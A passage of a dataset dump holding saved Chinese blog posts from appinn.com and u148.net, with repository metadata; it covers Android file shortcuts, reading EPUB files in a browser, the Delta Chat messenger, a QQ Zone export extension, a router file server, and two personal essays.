简明安装教程](https://www.appinn.com/efbv2-docker-tutorial/)\n* [Telegram 新版增加自定义贴纸功能❲iOS/Android❳](https://www.appinn.com/telegram-custom-sticker-sets/)\n* [2010 元旦小众获奖名单](https://www.appinn.com/2010-new-year-gift-final/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/telegram-new-version-202001/#comments) 收藏0\n\n[https://www.appinn.com/telegram-new-version-202001/](https://www.appinn.com/telegram-new-version-202001/)\nSent with [Reeder](http://reederapp.com/)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7299145460128784, "alphanum_fraction": 0.7470085620880127, "avg_line_length": 17, "blob_id": "8ff117a1239cf5cbb5c808d23a9e8de11b1bd335", "content_id": "1d09c9f8eaa8038fe7dc21f8a27bb3cb65d82b3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2519, "license_type": "no_license", "max_line_length": 91, "num_lines": 65, "path": "/图片/有意思吧/【扑棱棱】音乐小铺(2)这一年,我在这里 - 有意思吧.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 【扑棱棱】音乐小铺(2)这一年,我在这里 - 有意思吧\n# \n\n毕业了,本来以为就业问题只是镜花水月,怎奈它到你面前的时候是那么的真切,锋利。青春也许真是磨砺的代名词,不经历点不平静,就像不够味一样。虽然最近平静了许多,但跟梦想差距还是太远……\n\n \n![](assets/image_10.jpeg)\n \n前几天闲逛,听了一篇文章,不禁共鸣,惆怅了一番。虽然天天自己在家,但想起来刚开始的日子,还是不免唏嘘,省钱吃饭的时候,舍不得买东西的时候,省钱不坐公交的日子,历历在目。\n\n \n![](assets/image_8.jpeg)\n \n开始的日子很困难,总是安慰自己,前几年受受苦就好了,以后总会安逸的。虽然每天真的是生存以上,生活以下。但有希望总是好的~\n\n可恶的条例,还有那些的让我长“见识”的人们。\n\n \n![](assets/image_4.jpeg)\n \n我现在真成了特困户,天天犯困,早上起床多痛苦T-T\n\n \n![](assets/image_3.jpeg)\n \n总觉得那些背井离乡的人很强大,我没有那种出去闯荡的勇气。看到身边北漂,上漂的同学,就觉得好强大,听着他们或愁苦或开心的故事,还是期盼他们能不负这份闯荡的勇气。\n\n \n![](assets/image_6.jpeg)\n \n其实没有必要羡慕别人的生活,说不准人家就在羡慕着你,谁的难处谁自己知道,表现出来的跟现实可能有蛮多差距呢,知足常乐吧~。~\n\n \n![](assets/image_5.jpeg)\n \n一开始有好多的不解,等你看清了,你也许会豁然开朗。\n\n但,我还有很多东西真的不想看清……\n\n \n![](assets/image_2.jpeg)\n \nMathilda:Is life always this hard, or is it just when you're a kid?\nLéon:Always like this.\n\n生活还是要乐观向上不是,总要向着梦想、理想去奋斗不是。话说现在我真的很想出去游游,貌似真的没空。他们都叫我去他们的城市,我只能应付地说,等着再说。加油吧,熬过这一阵子总会好起来的~~\n\n \n![](assets/image_9.jpeg)\n \n说点好玩的吧,最近又不能免俗了,跟着大家看《勇士闯魔城》,太搞笑了有木有!!!其实里面的片头片尾曲还真不错(第二部的没找到),听听完整的先来~\n\n \n![](assets/image_1.jpeg)\n \nok 结尾来首鸟叔的歌,话说鸟叔之前的歌其实也不错。\n\n \n![](assets/image_7.jpeg)\n \nLet’s go on an adventure!!!\n\nhttp://www.u148.net/article/77525.html\n\n#博客/有意思吧\n" }, { "alpha_fraction": 0.7237546443939209, "alphanum_fraction": 0.7455742955207825, "avg_line_length": 30.153846740722656, "blob_id": "91d691d0fd7ef0386cbf75ec2bc242f5ecec7582", "content_id": "f8484ea57a14f5e6fec76e3080861498a23986f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3654, "license_type": "no_license", "max_line_length": 537, "num_lines": 78, "path": "/博客/小众软件/FileShortcuts – 在 Android 桌面创建文档快捷方式.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# FileShortcuts – 在 Android 桌面创建文档快捷方式\n[小众软件 FileShortcuts – 在 Android 桌面创建文档快捷方式](https://www.appinn.com/fileshortcuts-for-android/) \n\n[FileShortcuts](https://www.appinn.com/fileshortcuts-for-android/) 是一款可以在 Android 桌面创建文件快捷方式的应用,并且当点击这个快捷方式的时候,自动调用第三方 App 打开。@Appinn\n\n![](assets/image_1.jpeg)\n\n这是一个比较奇怪的需求,将文件放置在桌面上。不过,如果是一个每天都需要打开的文件,那么 FileShortcuts 对你又十分有必要。\n\n来自 [发现频道](https://meta.appinn.net/t/fileshortcuts/12975) :\n\n这是一个Android APP,作用是能把文件的快捷方式放到手机桌面上,当点击这个快捷方式的时候自动调用第三方 app 打开。\n\n**注意** 当安装上并打开 FileShortcuts 后,并不会显示界面。\n\n### 如何添加一个文件的快捷方式到桌面上?\n\n* 首先,打开手机自带的文件管理器,找到目标文件。\n* 然后,长按该文件,并选择 更多-用其他应用打开,\n* 最后,点击桌面快捷方式,即可在桌面上发现该快捷方式。\n\n![](assets/image_3.jpeg)\n\n![](assets/image_4.png)\n\n注意,因为在打开文件快捷方式的时候是先打开 FileShortcuts,然后再打开第三方 app,因此打开速度会比平时慢一些。\n\n注意,不要使用” **下次默认选择此项,不再提示** “选项,否则在下次创建快捷方式的时候点击”用其他应用打开”时会自动跳转到第三方程序。\n\nFileShortcuts 支持的文件类型:\n\n* doc\n* pdf\n* xls\n* ppt\n* rar\n* zip\n* mp3\n* gif\n* jpeg jpg\n* png\n* bmp\n* css\n* html htm\n* txt\n* xml\n* mp4\n* wmv\n\n#### 如果我点击了”下次默认选择此项,不再提示”导致不能再创建文件快捷方式,怎么办?\n\n点击设置,进入”更多应用”,点开右上角,有”重置应用偏好设置”,点击即可。\n\n![](assets/image_2.jpeg)\n\nFileShortcuts 项目在 [GitHub](https://github.com/HeroIsUseless/FileShortcuts) 发布,未上架应用市场。\n\n- - - -\n\n## 相关阅读\n\n* [一次玩个够,43 款喵星人游戏](https://www.appinn.com/41-cats-games/)\n* [10 款有用的 Android 版本 Firefox 扩展](https://www.appinn.com/10-addons-android-firefox/)\n* [2015 年度 Play 最佳游戏.第二部分❲Android❳](https://www.appinn.com/bestof2015-play-games-part2/)\n* [Island – 「绿色守护」作者新作,将不老实的应用 隔离 + 冻结 + 双开 ❲Android❳](https://www.appinn.com/oasisfeng-island/)\n* [未 root 也能体验最新鲜 Android N,只需 Nexus 设备,OTA 升级](https://www.appinn.com/android-n-beta-program-work/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/fileshortcuts-for-android/#comments) 收藏0\n\n[https://www.appinn.com/fileshortcuts-for-android/](https://www.appinn.com/fileshortcuts-for-android/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7226227521896362, "alphanum_fraction": 0.7394438982009888, "avg_line_length": 40.628570556640625, "blob_id": "7af89fc943ead14a2f5f7841da8496e7fda82f15", "content_id": "037f43535884ef5da09dba7787013d9e92e127ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4532, "license_type": "no_license", "max_line_length": 537, "num_lines": 70, "path": "/博客/小众软件/最简易的 EPUB 电子书阅读方式:解压缩,用浏览器打开.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 最简易的 EPUB 电子书阅读方式:解压缩,用浏览器打开\n[小众软件 最简易的 EPUB 电子书阅读方式:解压缩,用浏览器打开](https://www.appinn.com/epub-reader-easy/) \n\n自从微软把最好的 EPUB 电子书阅读器 edge 砍掉之后,满世界都是寻找 EPUB 阅读器的 [帖子](https://meta.appinn.net/t/edge-epub-pc-epub/11434) ,但似乎大家都不是很满意。直到 @ *[ricoeur](https://meta.appinn.net/u/ricoeur)* 说: [最简易的 epub 阅读方式,解压,浏览器](https://meta.appinn.net/t/epub/15401) 。\n\n![](assets/image_1.jpeg)\nPhoto by [Anthony Tran](https://unsplash.com/@anthonytran?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/read-book?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n- - - -\n\n@ **ricoeur** 是这样说的:\n\n自 edge 更新之后,新的 EPUB 阅读工具虽多,但都不如 edge 那种随时能用、用完即抛的感觉。\n\n收费的且不说。\n\n现在做个软件都想着帮你管理文档,不导入没法阅读,还要多平台同步。现在大家天天宅在家里,守着电脑,谁看那个小屏幕,多憋屈。\n\n也许是看不到盈利方向,才没有人做那种简易的阅读器\n\n试了那么多,最后觉得最好用的是,改后缀,直接变成 ZIP 格式,解压,找到网页文档,直接用浏览器阅读,一下子爽了。\n\n下面是青小蛙搜索了一个 EPUB 电子书,解压缩之后的全部文件结构,其中电子书正文在 OEBPS 文件夹内,只需要打开 **xxx_body.html** 文件就能阅读内容了。\n\n.\n├── META-INF\n│ └── container.xml\n├── **OEBPS**\n│ ├── GeographyofBli.ncx\n│ ├── GeographyofBli_body.html\n│ ├── GeographyofBli_copyright.html\n│ ├── GeographyofBli_opf.opf\n│ ├── GeographyofBli_toc.html\n│ ├── cover.xml\n│ ├── css\n│ │ └── GeographyofBli_style.css\n│ └── images\n│ ├── Art_P333.jpg\n│ ├── GeographyofBli-cover.jpg\n│ └── Thumbs.db\n└── mimetype\n\n又及:说到底 EPUB 就是个网页文件夹打包,那就还原为网页。浏览器插件固然不错,总要借助,在线的要上网,或许功能多些(ie6 可能不支持 XHTML 格式,我用的是 Firefox75,另外两个浏览器是 edge Chrome版,vivaldi)。如果只是看下,我倒是看好 PC 上的 WPS,WPS 的个人版已经支持 epub,并且可以换底色,改字体,尽管还是不能复制。\n\n我无意争论那个最好,大家提到的我大都尝试过,只是最近弄一个60多兆的 epub 文件,等待打开等的有点烦,才会想起来解压缩这个大招。复制出来(选择复制,是不想要某些无关的图片,而且为后面的处理打下好的基础,其实可以用导入网页文件的方式导入到笔记软件,我用的 mybase),想怎么处理就怎么处理。\n\n- - - -\n\n那么问题来了,你觉得“最好”的 EPUB 阅读器是什么呢?\n\n- - - -\n\n## 相关阅读\n\n* [Neat Reader – 可能是「最独特」的桌面端在线电子书阅读器](https://www.appinn.com/neat-reader/)\n* [❲AIR❳Lovely Reader – ePub 电子书阅读器](https://www.appinn.com/lovelyreader-epub-reader-air/)\n* [Foxit Reader 3.0 发布,十分出色的 PDF 阅读器](https://www.appinn.com/foxit-reader-30/)\n* [福昕阅读器 – 知名 PDF 阅读器](https://www.appinn.com/foxit-pdf-reader-6/)\n* [Easy to RSS – 能发现 RSSHub(RSS 生成工具)订阅地址的 RSS 工具 ❲Chrome❳](https://www.appinn.com/easy-to-rss/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/epub-reader-easy/#comments) 收藏0\n\n[https://www.appinn.com/epub-reader-easy/](https://www.appinn.com/epub-reader-easy/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7124999761581421, "alphanum_fraction": 0.7430555820465088, "avg_line_length": 40.55769348144531, "blob_id": "6f58b0124e17e0e48fddb8255264f94ddbc09802", "content_id": "9bbce67b6100906394ab2bc3136eb92f82f701d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3141, "license_type": "no_license", "max_line_length": 537, "num_lines": 52, "path": "/博客/小众软件/Delta Chat – 如果早 10 年,用邮件当 IM 可能会火.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Delta Chat – 如果早 10 年,用邮件当 IM 可能会火\n[小众软件 Delta Chat – 如果早 10 年,用邮件当 IM 可能会火](https://www.appinn.com/delta-chat/) \n\nDelta Chat 是一款基于电子邮件的 IM 即时聊天工具,它利用现有的电子邮件基础设施,将传统收发电子邮件的样式,变为主流的 IM 方式,无需注册,无云数据保存聊天记录,所有通信均使用传统邮件协议,内容也保存在你的邮箱中。支持 iOS、Android、Windows、macOS、Linux。@Appinn\n\n![](assets/image_1.jpeg)\n\n早 10 年,可能会火吧。\n\nDelta Chat 的界面,和 Telegram 极其相似。\n\n![](assets/image_2.jpeg)\n\n使用过程,和 IM 没有什么区别,只是需要将联系人从 ID 改为邮箱地址,并且不要求对方使用 **Delta Chat** ,会以邮件的形式进入对方收件箱。\n\n来看一段视频:\n\n```\n<div class=\"aspect-ratio\"> \n <iframe src=\"https://player.bilibili.com/player.html?aid=80135138&cid=137137825&page=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"> </iframe> \n</div>\n```\n\n在你的邮箱中可以看到所有收发记录。对于主流邮箱的支持还好,不过 163 好像不能用,提示出错。\n\n安全性,使用 rPGP 的端到端加密,传输层使用 TLS 加密。为了防御主动攻击,使用了 CounterMITM 协议,该协议又使用rPGP。\n\n总之,这是一款10年前就应该有的应用,但放到现在,真的很难要求用户迁移社交网络。打败现有 IM 的,一定不是一款新的 IM。\n\n可以 [从这里下载](https://delta.chat/en/download) Delta Chat,iOS 还未上架,需要使用 Testflight。\n\n- - - -\n\n## 相关阅读\n\n* [实时世界地图聊天,优雅的向世界人民问好](https://www.appinn.com/instant-map-chat/)\n* [AHK 快餐店❲12❳ 之 秒杀窗口,左键加右键](https://www.appinn.com/ahk-fast-food-restaurant-12-lbutton-rbutton-close-window/)\n* [EFB 简明安装教程:用 Telegram 收发微信 ❲基于 Docker❳](https://www.appinn.com/efb-tutorial-with-docker/)\n* [❲更新❳Locate32 – 快速便捷的本地搜索](https://www.appinn.com/locate32/)\n* [Ninja SMS – 体验如 Chat Heads 一般的漂浮短信](https://www.appinn.com/ninja-sms/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/delta-chat/#comments) 收藏0\n\n[https://www.appinn.com/delta-chat/](https://www.appinn.com/delta-chat/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7235293984413147, "alphanum_fraction": 0.7642157077789307, "avg_line_length": 28.157142639160156, "blob_id": "6d88817a1b01cbccc3409e7765d820f1ef13b325", "content_id": "970a46a344e6be363daef393e372c1050b7cf5a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4576, "license_type": "no_license", "max_line_length": 496, "num_lines": 70, "path": "/图片/有意思吧/【漂流6组·1小组】第4站:成长的故事 & 一个人的旅途.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 【漂流6组·1小组】第4站:成长的故事 & 一个人的旅途\n \n![](assets/image_2.jpeg)\n \n\n不想说岁月如白驹过隙,可日子在一天天自以为的重复中,一去不回头,猛然回望时,自己已经走到了青春的尾巴上。我开始比较这些年,我究竟改变了哪些。依然喜欢两手空空的出去走走,向往着那些或艳丽到不可方物或清秀到尘喧褪去的地方,想象着那里的快乐或悲伤。暗自下决心打工赚钱去想去的地方。依旧是会乘公交过隧道时会有奔赴黄泉的感觉,黄色的灯光飞快闪过带来的恍惚让人黯然。已久在华灯初上灯火昏黄时慢慢泛起的小情调。像是寂寞开的花。在风中摇摇晃晃,依旧一个人在夜里默默的想念,一些人一些事就这样成为过往,蓦然回首,灯火阑珊,却人去楼空,喜欢的一些作家依然喜欢,比如纳兰容若,讨厌的确不在那么讨厌,比如苏轼,虽然仍觉得那十年生死两茫茫的悲叹不似那泣尽风瞻夜雨玲的哀伤深入骨髓,但也慢慢理解了,不在认定人一辈子只能爱一个人才是值得称许的。童话里王子永远只爱公主只是童话,现实是,公主和王子都在慢慢长大,人和人之间会渐行渐远,城堡已经凋蔽粉红的玫瑰早就开始败色,不再希望自己变得成熟冷静,那只是另一种方式的钝重和顺受,其实越长大越软弱,小时候觉得整个世界都张大怀抱等着我去,长大了越来越想能够有一个停留,寻找一个安慰。\n\n毕竟看惯了世事炎凉,明白了盛大的世间,自己总是那么无能为力的。\n\n写的这里,忽然有了万众离弃的感觉。\n\n我想我知道,每个人都应当是孤身一人,只是有时候陪伴拥簇的人多了便有了错觉,事实上不过是幻想消失还自己一个本来的面目,所以又不幸要自己承担,安慰有时候捉襟见肘,自己不坚强也要强大坚强,还没有衣不蔽体食不果腹举目无亲,我没有资格难过,我还能把快乐写的源远流长……\n\n有些故事没有说完就算了吧,那些岁月在中已经难辨真假。\n\n \n![](assets/image_1.jpeg)\n \n\n \n![](assets/image_3.jpeg)\n \n\n**一个人的旅途**\n\n想要一个人去旅行,忘却了布满尘埃的往事,忘却了自己,和晨曦的光芒一起上路,听远处那端传出的伤心鹤立。\n\n想要一个人去旅行,看浓盛的山茶花从深深的栅栏中探出,一次次于路人擦肩而过,不知道是否有那么一次,想要挽留想要跟他走。\n\n想要一个人旅行,发丝凌乱,笑容张狂,无所谓风霜是否吹糙了脸,草籽是否黏在衣裤脚。\n\n想要一个人旅行,策马扬鞭走过你的深深庭院,走过江南烟雨天,冻消的时间,不再留恋。\n\n塞上耳机,世界便与我无关。\n\n到不了的地方是远方,回不去的是家乡。\n\n我开始行走,寻一个停留。\n\n也许在暗夜微凉灯光微暗笙箫婉转时,我会狠狠的思念,只当做一次放纵。\n\n把眼泪藏在眼眸深处,微笑着在别处生活。\n\n瞬息浮过,总归是不断贪恋昨夜星辰昨夜风。\n\n佳期如梦,追寻着楼台依旧芳草,依旧天涯,依旧故人也依旧朝朝暮暮。\n\n放不下过去,看不清未来。\n\n淡薄流年,一个人走过……\n \n![](assets/image_5.jpeg)\n \n\n————————————————————————————————————————\n\n[【捐助“漂流本子”】](http://www.u148.net/article/59713.html)\n\n \n![](assets/image_4.jpeg)\n \n\n查看详情评论: [【漂流6组·1小组】第4站:成长的故事 & 一个人的旅途](http://www.u148.net/article/64896.html)\n本文原始链接: [http://www.u148.net/article/64896.html](http://www.u148.net/article/64896.html)\n更多精彩内容: [创意视频](http://www.u148.net/video.html) ┊ [清新图画](http://www.u148.net/image.html) ┊ [好玩游戏](http://www.u148.net/game.html) ┊ [动听音乐](http://www.u148.net/audio.html) ┊ [情感文字](http://www.u148.net/text.html) ┊ [乱七八糟](http://www.u148.net/mix.html) ┊ [讨论小组](http://www.u148.net/group/) ┊ [淘宝皇冠店](http://dianpu.tao123.com/?pid=mm_26142575_0_0&amp;eventid=102167)\n闲逛好站推荐: [爱偷闲(www.iTouxian.com)](http://www.itouxian.com) ,分享身边的美好事、搞笑事、幸福事、蛋疼事…[点此进入](http://www.itouxian.com)\n\n来自 有意思吧\n\n#博客/有意思吧" }, { "alpha_fraction": 0.7251585721969604, "alphanum_fraction": 0.7454545497894287, "avg_line_length": 37.16128921508789, "blob_id": "c623b7157ddc8f75603788068a21468c5ec26078", "content_id": "24811d60d6c7721cdad4632275f57bd6edbc1cef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3684, "license_type": "no_license", "max_line_length": 537, "num_lines": 62, "path": "/博客/小众软件/QQ空间导出助手 – 可导出说说、日志、私密日记、相册、视频、留言板、QQ 好友列表[Chrome].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# QQ空间导出助手 – 可导出说说、日志、私密日记、相册、视频、留言板、QQ 好友列表[Chrome]\n[小众软件 QQ空间导出助手 – 可导出说说、日志、私密日记、相册、视频、留言板、QQ 好友列表❲Chrome❳](https://www.appinn.com/qzoneexport-for-chrome/) \n\n[QQ空间导出助手](https://www.appinn.com/qzoneexport-for-chrome/) 是一款用来导出 QQ 空间的日志、私密日志、说说、相册、留言板、QQ好友、视频为文件的 Chrome 扩展,供永久保存。@Appinn\n\n![](assets/image_3.jpeg)\n\n青小蛙很是喜欢 **QQ空间导出助手** 介绍里的一段话:\n\n> 落叶随风,青春,稍纵即逝,QQ空间,一个承载了很多人的青春的地方。 \n\n> 然而,新浪博客相册宣布停止运营,网易相册关闭,QQ账号支持注销等等,无不意味着,互联网产品都有着自己的生命周期,但生命周期到了尽头,我们的数据怎么办。 \n\n> 数据,还是要本地备份一份的,QQ空间导出助手的谷歌扩展,可以QQ空间的日志、私密日志、说说、相册、留言板、QQ好友、视频为文件,供永久保存。 \n\n当然一代用户不用不代表其他用户不用,以青小蛙为代表的年轻人还活跃在 QQ 的战线上。\n\n**QQ空间导出助手** 可以导出的内容相当之多,可以说是全部了:\n\n* 说说\n* 日志\n* 私密日记\n* 相册\n* 视频\n* 留言板\n* 好友列表\n\n首先在 [Chrome 商店](https://chrome.google.com/webstore/detail/qq%E7%A9%BA%E9%97%B4%E5%AF%BC%E5%87%BA%E5%8A%A9%E6%89%8B/aofadimegphfgllgjblddapiaojbglhf) (或从 [GitHub](https://github.com/ShunCai/QZoneExport) 下载)安装扩展,然后在浏览器打开并登录 QQ 空间,点击 Chrome 的扩展栏,点击想要下载的列表:\n\n![](assets/image_2.jpeg)\n\n点击开始备份,就开始备份啦:\n\n![](assets/image_1.jpeg)\n\n很快,就能下载,文字格式为 .md,如日志、说说、留言板,视频导出的是下载链接列表,需要及时使用第三方工具下载,以防失效。\n\n如果不喜欢 .md 格式,可以设置导出为 json 格式。\n\n那个,问一个暴露年龄的问题,你还在用 QQ空间吗?\n\n- - - -\n\n## 相关阅读\n\n* [Chrome 4.0,用扩展武装它](https://www.appinn.com/chrome-4-extensions-setup/)\n* [New Tab Reloaded – 找回最熟悉的 Chrome 新标签页](https://www.appinn.com/new-tab-reloaded-for-chrome/)\n* [打开了超多的 Chrome 标签页,看不到标题怎么办?](https://www.appinn.com/supertabs-for-chrome/)\n* [Chrome Remote Desktop – 远程控制电脑❲Chrome/Android/iOS❳](https://www.appinn.com/chrome-remote-desktop/)\n* [Infinity 新标签页 – 美化 Chrome 新标签页](https://www.appinn.com/infinity-new-tab-chrome/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/qzoneexport-for-chrome/#comments) 收藏0\n\n[https://www.appinn.com/qzoneexport-for-chrome/](https://www.appinn.com/qzoneexport-for-chrome/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7340967059135437, "alphanum_fraction": 0.7650551199913025, "avg_line_length": 42.685184478759766, "blob_id": "f004bd2a9d6df7ebfc074cfcc00e0c2a51bf65ab", "content_id": "9982f150be626bdd6f691f4d43655e948d52e871", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3707, "license_type": "no_license", "max_line_length": 537, "num_lines": 54, "path": "/博客/小众软件/用 chfs 为小米路由器添加 NAS 文件共享功能,支持 HTTP、WebDAV 协议.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 用 chfs 为小米路由器添加 NAS 文件共享功能,支持 HTTP、WebDAV 协议\n[小众软件 用 chfs 为小米路由器添加 NAS 文件共享功能,支持 HTTP、WebDAV 协议](https://www.appinn.com/cutehttpfileserver/) \n\n[CuteHttpFileServer](https://www.appinn.com/CuteHttpFileServer/) (简称 chfs)是一个免费的文件共享工具,它可以让运行 Windows、Linux、macOS 的设备变成文件服务器,通过 HTTP 网页,或者使用 WebDAV 协议访问共享文件。@Appinn\n\n![](assets/image_2.jpeg)\n\nCuteHttpFileServer( [官网](http://iscute.cn/chfs) ) 的特性不少:\n\n* 单个文件,核心功能无需其他文件\n* 跨平台运行,支持主流平台:Windows,Linux 和 Mac\n* 界面简洁,简单易用\n* 支持扫码下载和手机端访问,手机与电脑之间共享文件非常方便\n* 支持账户权限控制和地址过滤\n* 支持快速分享文字片段\n* 支持webdav协议\n\nchfs 支持众多 CPU,可以在很多设备上使用,比如路由器、NAS、miniPC 等等,最早 @ **kuyucman** 同学在 [发现频道](https://meta.appinn.net/t/web/8051) 推荐了 chfs,但他的推荐太简单了,并没有引起别人的注意。@ **浪漫酱** 同学就不一样了,他 [分享了](https://meta.appinn.net/t/cutehttpfileserver-chfs-nas-http-webdav/13634) 在小米路由器上使用 chfs 的方法,并实现了自动启动、网页共享文件、WebDAV 协议支持,非常的实用。具体思路是这样的:\n\n1. 小米路由器 R1D 刷开发版,开通 SSH 访问权限\n2. 下载对应 chfs,R1D 是 chfs-linux-arm-2.0.zip\n3. 配置 chfs(支持用户名密码访问、可配置 https、图片预览等)\n4. 设置开机启动\n5. 使用\n\n具体教程、配置文件 [见这里](https://meta.appinn.net/t/cutehttpfileserver-chfs-nas-http-webdav/13634) 。\n\n设置完成之后,会看到服务器信息:\n\n![](assets/image_4.jpeg)\n\n然后,就可以在浏览器访问路由器上的 chfs 地址,然后就能看到共享文件列表了:\n\n![](assets/image_1.png)\n\n而如果想要使用 [WebDAV](https://www.appinn.com/tag/webdav/) 协议,只需要在地址后面添加 /webdav 即可,比如 chfs 地址为 http://192.168.1.1:82,那么 WebDAV 地址就是 http://192.168.1.1:82/webdav\n\n如果你愿意并且拥有公网 IP,还可以将这个端口开放给公网,让全世界都可以凭用户名密码访问你的小 NAS 服务器。以及,@浪漫酱 同学还说,他直接将 WebDAV 放到了公网上使用,非常的方便。\n\n如果你也有小米路由器,或者其他型号的路由器(能获取 SSH、知道 CPU 型号),也可以折腾一下 CuteHttpFileServer,这样就能几乎 0 成本完成一个永久在线的文件共享服务,能做很多事情。\n\n![](assets/image_3.png)\nchfs 支持众多平台\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/cutehttpfileserver/#comments) 收藏0\n\n[https://www.appinn.com/cutehttpfileserver/](https://www.appinn.com/cutehttpfileserver/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.6971449255943298, "alphanum_fraction": 0.7325623631477356, "avg_line_length": 43.64516067504883, "blob_id": "66084482f7ab7ced0045e9be5cd481c146b8b5fa", "content_id": "4926a8b7a362f58353a933296a8dd24b49fbfeb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4424, 